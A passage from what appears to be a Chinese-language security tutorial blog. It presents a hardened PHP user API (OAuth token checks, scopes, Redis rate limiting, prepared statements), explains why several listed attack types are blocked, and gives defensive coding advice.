class="variable">$authHeader</span>, <span class="variable">$matches</span>)) &#123;</span><br><span class="line">    <span class="title function_ invoke__">http_response_code</span>(<span class="number">401</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">        <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">        <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Missing or invalid authorization header&#x27;</span></span><br><span class="line">    ]);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$accessToken</span> = <span class="variable">$matches</span>[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 验证Access Token ★★★</span></span><br><span class="line"><span class="comment">// 通过OAuth 2.0服务器验证Token</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">verify_access_token</span>(<span class="params"><span class="variable">$token</span></span>) </span>&#123;</span><br><span class="line">    <span class="comment">// 调用OAuth 2.0服务器的introspection endpoint</span></span><br><span class="line">    <span class="variable">$oauth_server</span> = <span class="string">&#x27;https://oauth.example.com/introspect&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$response</span> = <span class="title function_ invoke__">file_get_contents</span>(<span class="variable">$oauth_server</span>, <span class="literal">false</span>, <span class="title function_ invoke__">stream_context_create</span>([</span><br><span class="line">        <span class="string">&#x27;http&#x27;</span> =&gt; [</span><br><span class="line">            <span class="string">&#x27;method&#x27;</span> =&gt; <span class="string">&#x27;POST&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;header&#x27;</span> =&gt; <span class="string">&#x27;Content-Type: application/x-www-form-urlencoded&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;content&#x27;</span> =&gt; <span class="title function_ invoke__">http_build_query</span>([<span class="string">&#x27;token&#x27;</span> =&gt; <span class="variable">$token</span>])</span><br><span class="line">        ]</span><br><span class="line">    ]));</span><br><span class="line"></span><br><span class="line">    <span class="variable">$data</span> = <span class="title function_ invoke__">json_decode</span>(<span class="variable">$response</span>, <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 检查Token是否有效</span></span><br><span class="line">    <span class="keyword">if</span> (!<span class="variable">$data</span>[<span class="string">&#x27;active&#x27;</span>]) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$data</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$tokenData</span> = <span class="title function_ invoke__">verify_access_token</span>(<span class="variable">$accessToken</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="variable">$tokenData</span>) &#123;</span><br><span class="line">    <span class="title function_ invoke__">http_response_code</span>(<span class="number">401</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">        <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">        <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Invalid or expired access token&#x27;</span></span><br><span class="line">    ]);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$currentUserId</span> = <span class="variable">$tokenData</span>[<span class="string">&#x27;user_id&#x27;</span>];</span><br><span class="line"><span class="variable">$currentUserRole</span> = <span class="variable">$tokenData</span>[<span class="string">&#x27;role&#x27;</span>];</span><br><span class="line"><span class="variable">$scopes</span> = <span class="variable">$tokenData</span>[<span class="string">&#x27;scope&#x27;</span>] ?? [];</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 核心防护2：基于Scope的权限 ★★★</span></span><br><span class="line"><span class="comment">// 检查Token是否有所需的权限范围</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">has_scope</span>(<span class="params"><span class="variable">$required_scope</span>, <span class="variable">$token_scopes</span></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_ invoke__">in_array</span>(<span class="variable">$required_scope</span>, <span class="variable">$token_scopes</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 核心防护3：严格的限流 ★★★</span></span><br><span class="line"><span class="comment">// 使用Redis实现分布式限流</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">check_rate_limit_redis</span>(<span class="params"><span class="variable">$user_id</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$redis</span> = <span class="keyword">new</span> <span class="title class_">Redis</span>();</span><br><span class="line">    <span class="variable">$redis</span>-&gt;<span class="title function_ invoke__">connect</span>(<span class="string">&#x27;127.0.0.1&#x27;</span>, <span class="number">6379</span>);</span><br><span class="line"></span><br><span class="line">    <span class="variable">$key</span> = <span class="string">&quot;api_rate_limit:user:<span class="subst">$user_id</span>&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 滑动窗口限流</span></span><br><span class="line">    <span class="variable">$current</span> = <span class="title function_ invoke__">time</span>();</span><br><span class="line">    <span class="variable">$window</span> = <span class="number">60</span>; <span class="comment">// 60秒窗口</span></span><br><span class="line">    <span class="variable">$limit</span> = <span class="number">100</span>; <span class="comment">// 最多100次请求</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 移除窗口外的请求</span></span><br><span class="line">    <span class="variable">$redis</span>-&gt;<span class="title function_ invoke__">zRemRangeByScore</span>(<span class="variable">$key</span>, <span class="number">0</span>, <span class="variable">$current</span> - <span class="variable">$window</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取当前窗口内的请求数</span></span><br><span class="line">    <span class="variable">$count</span> = <span class="variable">$redis</span>-&gt;<span class="title function_ invoke__">zCard</span>(<span class="variable">$key</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$count</span> &gt;= <span class="variable">$limit</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 记录当前请求</span></span><br><span class="line">    <span class="variable">$redis</span>-&gt;<span class="title function_ invoke__">zAdd</span>(<span class="variable">$key</span>, <span class="variable">$current</span>, <span class="title function_ invoke__">uniqid</span>());</span><br><span class="line">    <span class="variable">$redis</span>-&gt;<span class="title function_ invoke__">expire</span>(<span class="variable">$key</span>, <span class="variable">$window</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">check_rate_limit_redis</span>(<span class="variable">$currentUserId</span>)) &#123;</span><br><span class="line">    <span class="title function_ invoke__">http_response_code</span>(<span class="number">429</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">        <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">        <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Rate limit exceeded&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;retry_after&#x27;</span> =&gt; <span class="number">60</span></span><br><span class="line">    ]);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$method</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;REQUEST_METHOD&#x27;</span>];</span><br><span class="line"><span class="variable">$path</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;PATH_INFO&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// GET /api/users/&#123;id&#125;</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$method</span> == <span class="string">&#x27;GET&#x27;</span> &amp;&amp; <span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/^\/users\/(\d+)$/&#x27;</span>, <span class="variable">$path</span>, <span class="variable">$matches</span>)) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$userId</span> = <span class="variable">$matches</span>[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 核心防护4：Scope检查 ★★★</span></span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_ invoke__">has_scope</span>(<span class="string">&#x27;users:read&#x27;</span>, <span class="variable">$scopes</span>)) &#123;</span><br><span class="line">        <span class="title function_ invoke__">http_response_code</span>(<span class="number">403</span>);</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Insufficient permissions: users:read scope required&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 核心防护5：严格的授权检查 ★★★</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$currentUserRole</span> !== <span class="string">&#x27;admin&#x27;</span> &amp;&amp; <span class="variable">$currentUserId</span> != <span class="variable">$userId</span>) &#123;</span><br><span class="line">        <span class="title function_ invoke__">http_response_code</span>(<span class="number">403</span>);</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Forbidden: You can only view your own data&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 记录未授权访问尝试 ★★★</span></span><br><span class="line">        <span class="title function_ invoke__">logSecurityEvent</span>(<span class="string">&#x27;Unauthorized API access&#x27;</span>, [</span><br><span class="line">            <span class="string">&#x27;user_id&#x27;</span> =&gt; <span class="variable">$currentUserId</span>,</span><br><span class="line">            <span class="string">&#x27;target_user_id&#x27;</span> =&gt; <span class="variable">$userId</span>,</span><br><span class="line">            <span class="string">&#x27;endpoint&#x27;</span> =&gt; <span class="variable">$path</span>,</span><br><span class="line">            <span class="string">&#x27;method&#x27;</span> =&gt; <span class="variable">$method</span>,</span><br><span class="line">            <span class="string">&#x27;ip&#x27;</span> =&gt; <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>]</span><br><span class="line">        ]);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 查询用户（只返回必要字段）</span></span><br><span class="line">    <span class="variable">$stmt</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="string">&#x27;SELECT user_id, user, first_name, last_name, email FROM users WHERE user_id = :id&#x27;</span>);</span><br><span class="line">    <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">bindParam</span>(<span class="string">&#x27;:id&#x27;</span>, <span class="variable">$userId</span>, PDO::<span class="variable constant_">PARAM_INT</span>);</span><br><span class="line">    <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"></span><br><span class="line">    <span class="variable">$user</span> = <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">fetch</span>(PDO::<span class="variable constant_">FETCH_ASSOC</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$user</span>) &#123;</span><br><span class="line">        <span class="comment">// ★★★ 记录API访问 ★★★</span></span><br><span class="line">        <span class="title function_ invoke__">logAPIAccess</span>(<span class="variable">$currentUserId</span>, <span class="string">&#x27;GET&#x27;</span>, <span class="variable">$path</span>, <span class="number">200</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">            <span class="string">&#x27;data&#x27;</span> =&gt; <span class="variable">$user</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="title function_ invoke__">http_response_code</span>(<span class="number">404</span>);</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;User not found&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// PUT /api/users/&#123;id&#125;</span></span><br><span class="line">&#125; <span class="keyword">elseif</span> (<span class="variable">$method</span> == <span class="string">&#x27;PUT&#x27;</span> &amp;&amp; <span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/^\/users\/(\d+)$/&#x27;</span>, <span class="variable">$path</span>, <span class="variable">$matches</span>)) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$userId</span> = <span class="variable">$matches</span>[<span class="number">1</span>];</span><br><span class="line">    <span class="variable">$input</span> = <span class="title function_ invoke__">json_decode</span>(<span class="title function_ invoke__">file_get_contents</span>(<span class="string">&#x27;php://input&#x27;</span>), <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ Scope检查 ★★★</span></span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_ invoke__">has_scope</span>(<span class="string">&#x27;users:write&#x27;</span>, <span class="variable">$scopes</span>)) &#123;</span><br><span class="line">        <span class="title function_ invoke__">http_response_code</span>(<span class="number">403</span>);</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Insufficient permissions: users:write scope required&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 授权检查 ★★★</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$currentUserRole</span> !== <span class="string">&#x27;admin&#x27;</span> &amp;&amp; <span class="variable">$currentUserId</span> != <span class="variable">$userId</span>) &#123;</span><br><span class="line">        <span class="title function_ invoke__">http_response_code</span>(<span class="number">403</span>);</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Forbidden: You can only update your own data&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 输入验证 ★★★</span></span><br><span class="line">    <span class="variable">$allowedFields</span> = [<span class="string">&#x27;first_name&#x27;</span>, <span class="string">&#x27;last_name&#x27;</span>, <span class="string">&#x27;email&#x27;</span>];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 管理员也不能修改role（需要特殊权限） ★★★</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$currentUserRole</span> === <span class="string">&#x27;admin&#x27;</span> &amp;&amp; <span class="title function_ invoke__">has_scope</span>(<span class="string">&#x27;users:admin&#x27;</span>, <span class="variable">$scopes</span>)) &#123;</span><br><span class="line">        <span class="variable">$allowedFields</span>[] = <span class="string">&#x27;role&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$updates</span> = [];</span><br><span class="line">    <span class="variable">$params</span> = [<span class="string">&#x27;:id&#x27;</span> =&gt; <span class="variable">$userId</span>];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">foreach</span> (<span class="variable">$input</span> <span class="keyword">as</span> <span class="variable">$key</span> =&gt; <span class="variable">$value</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_ invoke__">in_array</span>(<span class="variable">$key</span>, <span class="variable">$allowedFields</span>)) &#123;</span><br><span class="line">            <span class="comment">// ★★★ 额外验证 ★★★</span></span><br><span class="line">            <span class="keyword">if</span> (<span class="variable">$key</span> === <span class="string">&#x27;email&#x27;</span> &amp;&amp; !<span class="title function_ invoke__">filter_var</span>(<span class="variable">$value</span>, FILTER_VALIDATE_EMAIL)) &#123;</span><br><span class="line">                <span class="title function_ invoke__">http_response_code</span>(<span class="number">400</span>);</span><br><span class="line">                <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">                    <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">                    <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Invalid email format&#x27;</span></span><br><span class="line">                ]);</span><br><span class="line">                <span class="keyword">exit</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="variable">$updates</span>[] = <span class="string">&quot;<span class="subst">$key</span> = :<span class="subst">$key</span>&quot;</span>;</span><br><span class="line">            <span class="variable">$params</span>[<span class="string">&quot;:<span class="subst">$key</span>&quot;</span>] = <span class="variable">$value</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable">$updates</span>)) &#123;</span><br><span class="line">        <span class="title function_ invoke__">http_response_code</span>(<span class="number">400</span>);</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;No valid fields to update&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$query</span> = <span class="string">&quot;UPDATE users SET &quot;</span> . <span class="title function_ invoke__">implode</span>(<span class="string">&#x27;, &#x27;</span>, <span class="variable">$updates</span>) . <span class="string">&quot; WHERE user_id = :id&quot;</span>;</span><br><span class="line">    <span class="variable">$stmt</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="variable">$query</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>(<span class="variable">$params</span>)) &#123;</span><br><span class="line">        <span class="title function_ invoke__">logAPIAccess</span>(<span class="variable">$currentUserId</span>, <span class="string">&#x27;PUT&#x27;</span>, <span class="variable">$path</span>, <span class="number">200</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">            <span class="string">&#x27;message&#x27;</span> =&gt; <span class="string">&#x27;User updated&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="title function_ invoke__">http_response_code</span>(<span class="number">500</span>);</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Failed to update user&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="title function_ invoke__">http_response_code</span>(<span class="number">404</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">        <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">        <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Endpoint not found&#x27;</span></span><br><span class="line">    ]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="完善的防护机制"><a href="#完善的防护机制" class="headerlink" title="完善的防护机制"></a>完善的防护机制</h3><p><strong>多层防御：</strong></p><ol><li><strong>OAuth 2.0认证</strong> - 标准认证协议</li><li><strong>Scope权限</strong> - 细粒度权限控制</li><li><strong>分布式限流</strong> - Redis滑动窗口</li><li><strong>严格授权</strong> - 每个操作都检查</li><li><strong>输入验证</strong> - 验证所有输入</li><li><strong>审计日志</strong> - 记录所有操作</li><li><strong>错误不泄露</strong> - 统一错误信息</li><li><strong>PDO预编译</strong> - 防止SQL注入</li></ol><p><strong>安全流程：</strong></p><figure class="highlight gauss"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">API请求</span><br><span class="line">    ↓</span><br><span class="line"><span class="number">1.</span> 验证OAuth Access <span class="built_in">Token</span></span><br><span class="line">    ↓</span><br><span class="line"><span class="number">2.</span> 检查<span class="built_in">Token</span>是否有效</span><br><span class="line">    ↓</span><br><span class="line"><span class="number">3.</span> 检查Scope权限</span><br><span class="line">    ↓</span><br><span class="line"><span class="number">4.</span> 检查限流</span><br><span class="line">    ↓</span><br><span class="line"><span class="number">5.</span> 验证资源所有权</span><br><span class="line">    ↓</span><br><span class="line"><span class="number">6.</span> 验证输入</span><br><span class="line">    ↓</span><br><span class="line"><span class="number">7.</span> 执行操作</span><br><span class="line">    ↓</span><br><span class="line"><span class="number">8.</span> 记录审计日志</span><br><span class="line">    ↓</span><br><span class="line"><span class="number">9.</span> 返回响应</span><br></pre></td></tr></table></figure><h3 id="为什么无法攻破？"><a href="#为什么无法攻破？" class="headerlink" title="为什么无法攻破？"></a>为什么无法攻破？</h3><p><strong>所有攻击都失败：</strong></p><figure class="highlight gauss"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">攻击<span class="number">1</span>：无<span class="built_in">Token</span>访问</span><br><span class="line">结果：<span class="number">401</span> Unauthorized</span><br><span class="line"></span><br><span class="line">攻击<span class="number">2</span>：伪造<span class="built_in">Token</span></span><br><span class="line">OAuth服务器验证 → 失败 → 拒绝</span><br><span class="line"></span><br><span class="line">攻击<span class="number">3</span>：越权访问</span><br><span class="line">Scope检查 + 所有权检查 → 拒绝</span><br><span class="line"></span><br><span class="line">攻击<span class="number">4</span>：批量赋值</span><br><span class="line">字段白名单 → 只允许特定字段</span><br><span class="line"></span><br><span class="line">攻击<span class="number">5</span>：<span class="keyword">DoS</span>攻击</span><br><span class="line">Redis限流 → 超过限制 → <span class="number">429</span> Too Many Requests</span><br><span class="line"></span><br><span class="line">攻击<span class="number">6</span>：SQL注入</span><br><span class="line">PDO预编译 → 无法注入</span><br></pre></td></tr></table></figure><hr><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><h3 id="认证和授权"><a href="#认证和授权" class="headerlink" title="认证和授权"></a>认证和授权</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ✅ 使用OAuth 2.0或OpenID Connect</span></span><br><span class="line"><span class="comment">// ✅ 使用JWT但签名验证严格</span></span><br><span class="line"><span class="comment">// ✅ 使用Scope控制细粒度权限</span></span><br><span class="line"><span class="comment">// ✅ 每个endpoint都检查权限</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ❌ 不要：</span></span><br><span class="line"><span class="comment">// - 硬编码API密钥</span></span><br><span class="line"><span class="comment">// - 使用简单的API密钥认证</span></span><br><span class="line"><span class="comment">// - 不检查授权</span></span><br></pre></td></tr></table></figure><h3 id="限流和DoS防护"><a href="#限流和DoS防护" class="headerlink" title="限流和DoS防护"></a>限流和DoS防护</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 使用Redis限流</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">rate_limit</span>(<span class="params"><span class="variable">$user_id</span>, <span class="variable">$limit</span>, <span class="variable">$window</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$redis</span> = <span class="keyword">new</span> <span class="title class_">Redis</span>();</span><br><span class="line">    <span class="variable">$redis</span>-&gt;<span class="title function_ invoke__">connect</span>(<span class="string">&#x27;127.0.0.1&#x27;</span>, <span class="number">6379</span>);</span><br><span class="line"></span><br><span class="line">    <span class="variable">$key</span> = <span class="string">&quot;rate:<span class="subst">$user_id</span>&quot;</span>;</span><br><span class="line">    <span class="variable">$current</span> = <span class="variable">$redis</span>-&gt;<span class="title function_ invoke__">incr</span>(<span class="variable">$key</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$current</span> == <span class="number">1</span>) &#123;</span><br><span class="line">        <span class="variable">$redis</span>-&gt;<span class="title function_ invoke__">expire</span>(<span class="variable">$key</span>, <span class="variable">$window</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$current</span> &lt;= <span class="variable">$limit</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="输入验证"><a href="#输入验证" class="headerlink" title="输入验证"></a>输入验证</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 验证所有输入</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">validate_user_input</span>(<span class="params"><span class="variable">$data</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$errors</span> = [];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_ invoke__">filter_var</span>(<span class="variable">$data</span>[<span class="string">&#x27;email&#x27;</span>], FILTER_VALIDATE_EMAIL)) &#123;</span><br><span class="line">        <span class="variable">$errors</span>[] = <span class="string">&#x27;Invalid email&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">strlen</span>(<span class="variable">$data</span>[<span class="string">&#x27;username&#x27;</span>]) &lt; <span class="number">3</span>) &#123;</span><br><span class="line">        <span class="variable">$errors</span>[] = <span class="string">&#x27;Username too short&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$errors</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="审计日志"><a href="#审计日志" class="headerlink" title="审计日志"></a>审计日志</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">log_api_access</span>(<span class="params"><span class="variable">$user_id</span>, <span class="variable">$method</span>, <span class="variable">$path</span>, <span class="variable">$status</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$log</span> = [</span><br><span class="line">        <span class="string">&#x27;timestamp&#x27;</span> =&gt; <span class="title function_ invoke__">date</span>(<span class="string">&#x27;Y-m-d H:i:s&#x27;</span>),</span><br><span class="line">        <span class="string">&#x27;user_id&#x27;</span> =&gt; <span class="variable">$user_id</span>,</span><br><span class="line">        <span class="string">&#x27;method&#x27;</span> =&gt; <span class="variable">$method</span>,</span><br><span class="line">        <span class="string">&#x27;path&#x27;</span> =&gt; <span 